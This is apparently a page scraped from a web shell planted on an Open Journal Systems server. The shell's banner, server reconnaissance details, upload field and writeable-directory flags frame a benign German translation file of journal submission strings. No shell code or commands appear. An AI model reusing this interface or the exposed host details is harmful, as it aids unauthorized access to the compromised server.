KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/de_DE/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/de_DE/submission.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-09-27T09:54:42-07:00\n"
"PO-Revision-Date: 2020-11-13 18:05+0000\n"
"Last-Translator: Gabriele Höfler <[email protected]>\n"
"Language-Team: German <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"de/>\n"
"Language: de_DE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "Einen Artikel einreichen"

msgid "submission.submit.userGroup"
msgstr "Einreichen in meiner Rolle als ..."

msgid "submission.submit.userGroupDescription"
msgstr "Wählen Sie die Eigenschaft aus, in der Sie diesen Artikel einreichen."

msgid "submission.upload.selectComponent"
msgstr "Artikel-Bestandteil auswählen"

msgid "submission.title"
msgstr "Artikeltitel"

msgid "submission.title.tip"
msgstr "Der Einreichungstyp ist normalerweise 'image', 'text' oder Multimediatypen inklusive 'software' oder 'interactive'.  Bitte wählen Sie den für Ihre Einreichung passendsten Typ aus. Beispiele finden Sie unter <a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Eine neue Einreichung beginnen in"

msgid "submission.submit.newSubmissionSingle"
msgstr "Neue Einreichung"

msgid "grid.action.workflow"
msgstr "Einreichungsworkflow"

msgid "submission.abstract.wordCount.description"
msgstr "Das Abstract darf höchstens {$wordCount} Wörter enthalten."

msgid "submission.issueEntry"
msgstr "Metadaten"

msgid "submission.submit.whatNext.description"
msgstr "Die Zeitschrift wurde über Ihre Einreichung informiert, und Sie haben eine Bestätigung per E-Mail erhalten. Sobald die/der Redakteur/in die Einreichung begutachtet hat, werden Sie benachrichtigt."

msgid "grid.action.galleyInIssueEntry"
msgstr "Fahne in der Ausgabe angezeigt"

msgid "grid.action.issueEntry"
msgstr "Die Metadaten dieses Beitrags ansehen"

msgid "submission.publication"
msgstr "Veröffentlichung"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Die Artikelfahne \"{$galleyFormatName}\" wird verfügbar gemacht."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Die Artikelfahne \"{$galleyFormatName}\" wird nicht mehr verfügbar sein."

msgid "submission.event.publicIdentifiers"
msgstr "Die Identifier des Beitrags wurden aktualisiert."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Freigabe des Formats"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr ""
"<p>Diese Fahne wird <em>nicht mehr verfügbar sein</em> für Leser/innen.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>Diese Fahne wird für Leser/innen <em>verfügbar gemacht</em>.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "Diese Fahnen verfügbar machen"

msgid "submission.galleyFiles"
msgstr "Fahnendateien"

msgid "submission.proofReadingDescription"
msgstr ""
"Der oder die Layouter/in lädt die herstellungsfertigen Dateien hier hoch. "
"Benutzen Sie <em>Auditor/in hinzufügen</em>, um Autor/innen und andere zum "
"Korrekturlesen der Fahnen einzuplanen. Korrigierte Dateien werden vor "
"Veröffentlichung zur Freigabe hochgeladen."

msgid "grid.action.approveProof"
msgstr "Diese Korrektur für die Aufnahme in die Fahne freigeben."

msgid "grid.action.pageProofApproved"
msgstr "Diese Korrektur wurde für die Aufnahme in die Fahne freigegeben."

msgid "submission.submit.titleAndSummary"
msgstr "Titel und Abstract"

msgid "submission.submit.upload.description"
msgstr "Dateien, die zu dieser Einreichung gehören, hochladen: Artikel, Multimediadateien, Datensätze, Illustrationen etc."

msgid "submission.pageProofs"
msgstr "Korrekturlesen"

msgid "submission.confirmSubmit"
msgstr "Sind Sie sicher, dass Sie diesen Artikel bei der Zeitschrift einreichen möchten?"

msgid "workflow.review.externalReview"
msgstr "Gutachten"

msgid "editor.submission.decision.sendExternalReview"
msgstr "In Begutachtung schicken"

msgid "submission.event.issueMetadataUpdated"
msgstr "Die Metadaten der Ausgabe dieser Einreichung wurden aktualisiert."

msgid "submission.upload.fileContents"
msgstr "Artikel-Bestandteil"

msgid "submission.complete"
msgstr "Freigegeben"

msgid "submission.incomplete"
msgstr "Warte auf Freigabe"

msgid "submission.submit.form.localeRequired"
msgstr "Bitte wählen Sie eine Sprache des Beitrags aus."

msgid "submission.submit.submissionChecklist"
msgstr "Einreichungs-Checkliste"

msgid "submission.submit.submissionChecklistDescription"
msgstr "Sie müssen die Anforderungen lesen und bestätigen, bevor Sie fortfahren können."

msgid "submission.submit.privacyStatement"
msgstr "Datenschutzerklärung"

msgid "submission.submit.contributorRole"
msgstr "Rolle der Beiträgerin/des Beiträgers"

msgid "submission.submit.form.authorRequired"
msgstr "Mindestens ein/e Autor/in muss angegeben werden."

msgid "submission.submit.form.authorRequiredFields"
msgstr "Vorname, Nachname und E-Mail-Adresse aller Autor/innen müssen angegeben werden."

msgid "submission.submit.form.titleRequired"
msgstr "Bitte geben Sie den Titel Ihres Artikels an."

msgid "submission.submit.form.abstractRequired"
msgstr "Bitte geben Sie das Abstract Ihres Artikels an."

msgid "submission.submit.form.wordCountAlert"
msgstr "Ihr Abstract ist zu lang. Bitte kürzen Sie es auf eine Länge, die unter der Höchstgrenze für diese Rubrik liegt."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Bitte wählen Sie die Rolle der Beiträgerin/des Beiträgers aus."

msgid "submission.citationFormat.notFound"
msgstr "Das angeforderte Zitationsformat konnte nicht abgerufen werden."

msgid "submission.metadataDescription"
msgstr "Diese Spezifikationen basieren auf dem Dublin-Core-Metadaten-Schema, einem internationalen Standard zur Beschreibung von Zeitschrifteninhalten."

msgid "section.any"
msgstr "Alle Rubriken"

msgid "galley.editPublishedDisabled"
msgstr ""
"Die Fahnen dieser Publikation können nicht bearbeitet werden, weil sie "
"bereits veröffentlicht wurde."

msgid "publication.scheduledIn"
msgstr ""
"Vorgesehen zur  Veröffentlichung in <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.publishedIn"
msgstr "Veröffentlicht in <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.required.issue"
msgstr ""
"Der Beitrag muss einer Ausgabe zugeordnet werden, bevor er veröffentlicht "
"werden kann."

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Alle Bedingungen für die Veröffentlichung sind erfüllt. Dies wird sofort in "
"{$issue} veröffentlicht. Sind Sie sicher, dass Sie dies veröffentlichen "
"wollen?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Alle Bedingungen für die Veröffentlichung sind erfüllt. Dies wird "
"veröffentlicht, wenn {$issue} veröffentlicht wird. Sind Sie sicher, dass Sie "
"dies zur Veröffentlichung einplanen wollen?"

msgid "publication.publish.confirmation"
msgstr ""
"Alle Bedingungen für die Veröffentichung sind erfüllt. Sind Sie sicher, dass "
"Sie dies veröffentlichen wollen?"

msgid "publication.issue.success"
msgstr "Die Details der Ausgabe dieser Veröffentlichung wurden aktualisiert."

msgid "publication.invalidIssue"
msgstr "Die Ausgabe für diese Veröffentlichung konnte nicht gefunden werden."

msgid "publication.invalidSection"
msgstr "Die Rubrik für diese Veröffentlichung konnte nicht gefunden werden."

msgid "publication.datePublished.description"
msgstr ""
"Das Veröffentlichungsdatum wird automatisch gesetzt, wenn die Ausgabe "
"veröffentlicht wird. Geben Sie kein Veröffentlichungsdatum ein, außer der "
"Artikel wurde zuvor woanders publiziert und Sie wollen ihn rückdatieren."

msgid "galley.publicationNotFound"
msgstr "Die Veröffentlichung zu dieser Fahne konnte nicht gefunden werden."

msgid "catalog.category.heading"
msgstr "Alle Elemente"

msgid "catalog.browseTitles"
msgstr "{$numTitles} Elemente"

msgid "submission.sectionOptions"
msgstr "Rubrikenoptionen"

msgid "submission.submit.noContext"
msgstr "Die Zeitschrift für diese Einreichung konnte nicht gefunden werden."

msgid "publication.selectIssue"
msgstr "Wählen Sie eine Ausgabe zur Planung der Veröffentlichung"

msgid "publication.scheduleInissue"
msgstr "Einer Ausgabe zuordnen"

msgid "publication.unscheduledIn"
msgstr "Dies wurde nicht für die Veröffentlichung in einer Ausgabe vorgesehen."

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Alle Vorraussetzungen für die Veröffentlichung wurden erfüllt. Dies wird "
"sofort veröffentlicht, da das Veröffentlichungsdatum auf {$datePublished} "
"gesetzt wurde. Sind Sie sicher, dass Sie dies veröffentlichen möchten?"

msgid "submission.viewingPreview"
msgstr ""
"Diese Vorschau wurde noch nicht veröffentlicht. <a href=\"{$url}\">Beitrag "
"anzeigen</a>"

KUNTUL | JINGKONTOT |